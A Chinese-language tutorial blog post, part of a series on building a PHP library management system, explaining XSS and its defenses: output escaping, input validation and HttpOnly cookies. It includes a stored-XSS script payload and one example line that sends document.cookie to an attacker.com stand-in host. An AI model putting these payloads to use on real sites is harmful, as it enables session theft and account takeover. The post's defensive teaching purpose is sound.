iT邦幫忙

2026 iThome 鐵人賽

DAY 23
0

昨天透過 SQL Injection 攻擊自己寫的系統,並學會了用參數化查詢預防 SQL 注入。今天要來面對另一個在 Web 開發中常見的安全漏洞:跨網站指令碼攻擊(Cross-Site Scripting, XSS)。

在圖書管理系統中,如果使用者在輸入欄位填入惡意的 JavaScript 程式碼,而系統沒有做好適當的過濾與轉義,這些程式碼就會在其他使用者瀏覽網頁時被執行,進而導致 Cookie 被竊取、Session 被劫持,甚至使用者被導向惡意網站。

一、什麼是 XSS?

XSS 的核心問題在於:系統把使用者輸入的內容,未經處理解釋成了「可執行的 HTML / JavaScript 程式碼」。

常見的 XSS 類型主要有以下三種:

  1. 儲存型 XSS(Stored XSS):惡意程式碼被存入資料庫(例如:書名、書籍簡介或會員留言)。當其他使用者讀取資料並顯示在頁面上時,惡意腳本就會觸發。這是危害最大的一種。
  2. 反射型 XSS(Reflected XSS):惡意程式碼夾帶在 URL 參數中(例如搜尋關鍵字 ?search=<script>...),伺服器將參數直接渲染回 response 畫面時觸發。
  3. DOM 型 XSS(DOM-based XSS):純前端 JavaScript 處理不當(例如用 element.innerHTML 載入未經處理的使用者輸入)導致惡意腳本被執行。

在圖書管理系統中,最危險的地方是新增/修改書籍資料與會員註冊欄位,因為這些資料會永久儲存在資料庫,並展示給其他管理員或讀者看。

二、自我攻擊實測:在圖書管理系統中植入 XSS

為了理解 XSS 的威力,可以在本地端 WSL2 的測試環境中模擬一次攻擊。

步驟 1:新增一本「特別」的書籍

設管理員或具有新增權限的使用者,在新增書籍時填入以下欄位:

  • 書名:精通 PHP 與 Web 安全
  • 作者:<script>alert('Your Session ID: ' + document.cookie);</script>

步驟 2:觀看書籍列表頁面

儲存書籍資料後,回到 books_list.php。如果程式碼是這樣寫的:

<!-- ⚠️ 危險寫法:直接將資料庫內容印出 -->
<td><?= $book['author'] ?></td>

瀏覽器渲染網頁時,會直接把 <script> 標籤解析為 JavaScript 並執行。畫面就會跳出彈窗提示顯示目前使用者的 Cookie。

若攻擊者將 alert() 換成將 document.cookie 發送到他們的遠端伺服器(例如:new Image().src = '[https://attacker.com/steal?cookie=](https://attacker.com/steal?cookie=)' + document.cookie;),攻擊者就能獲取你的 Session ID 並直接偽裝成管理員登入系統。

三、如何防範 XSS?

防範 XSS 需要採取「縱深防禦」策略,結合輸入驗證與 輸出轉義。

  1. 核心防線:輸出轉義

    永遠記住原則:所有要顯示到 HTML 畫面上的動態資料,都必須經過轉義處理。

    在 PHP 中,最常用且最有效的工具是 htmlspecialchars()。它會將 HTML 特殊字元(如 <, >, ", ', &)轉化成 HTML Entity,使其失去執行腳本的能力。

    // 防護寫法
    function escape($string) {
        return htmlspecialchars($string, ENT_QUOTES, 'UTF-8');
    }
    
    // 在 HTML 模板中使用
    <td><?= escape($book['author']) ?></td>
    

    經過轉義後,原本的 <script> 會變成 &lt;script&gt;,瀏覽器只會把它當成純文字顯示,而不會執行其中的程式碼。

  2. 輸入驗證
    雖然輸出轉義是防範 XSS 的最後防線,但做好輸入驗證可以在資料進庫之前就攔截不合理的輸入。

    • 型別檢驗:例如 ISBN 應該只包含數字與連字號,頁數或庫存數量應該必須是正整數。
    • 長度限制:設定合理的長度上限。
    • 格式驗證:利用 filter_var() 驗證 Email、URL 等。
    // 範例:書籍庫存與 ISBN 的輸入驗證
    $stock = filter_input(INPUT_POST, 'stock', FILTER_VALIDATE_INT);
    if ($stock === false || $stock < 0) {
        die('庫存必須為非負整數');
    }
    
    $email = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);
    if (!$email) {
        die('無效的 Email 格式');
    }
    
  3. 進階安全措施:HTTP-Only Cookie
    為了避免攻擊者透過 XSS 竊取 Session Cookie,我們應該在設定 Session Cookie 時加入 HttpOnly 標記。這樣一來,JavaScript(如 document.cookie)將無法讀取該 Cookie。

    在 PHP 的 session_start() 前設定:

    session_set_cookie_params([
    'lifetime' => 86400,
    'path' => '/',
    'httponly' => true, // 阻止 JavaScript 存取 Cookie
    'samesite' => 'Lax'
    ]);
    session_start();
    
  4. AI 協同的輔助與查驗
    在撰寫前端渲染與表單邏輯時,Claude Code 幫忙重構了舊程式碼。但我發現 AI 在生成 PHP 程式碼時,有時為了簡潔會忽略 htmlspecialchars(),例如直接寫成 <?= $data ?>。

    我的查證與修正流程:

    1. 檢查點:審視 Claude 生成的 View 層檔案(如 .php 樣板檔),確認每個 echo 或 都有經過 htmlspecialchars() 或自訂的 escape() 函式包裹。

    2. 提示詞修正:提示 Claude:「請幫我將所有在 HTML 中輸出的變數均加上 htmlspecialchars(..., ENT_QUOTES, 'UTF-8') 保護,並封裝成全域 helper function。」

    這再次證明:AI 是極佳的加速工具,但安全性把關(Security Code Review)依然是開發者不可忽視的責任。


今天學習了:

XSS 的原理與危害:如何在未防護的情況下透過輸入 JavaScript 造成安全威脅。

自我攻擊實測:驗證了未轉義的欄位帶來的風險。

縱深防禦機制:透過 htmlspecialchars() 進行輸出轉義、利用 filter_var() 做輸入驗證,並配置 HttpOnly Cookie 減少潛在損害。

明天將進入資料庫維運的章節:備份與還原 —— 模擬不小心把資料庫刪掉該怎麼辦?


上一篇
Day 22 SQL injection:攻擊自己寫的系統
下一篇
Day 24 備份與還原
系列文
從零打造圖書管理系統:WSL2 × MySQL × Claude Code 的整合實作 共 24 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

1 則留言

0
onedream
iT邦新手 4 級 ‧ 2026-10-07 21:02:01

好強 我的學妹是資安大佬

我要留言

立即登入留言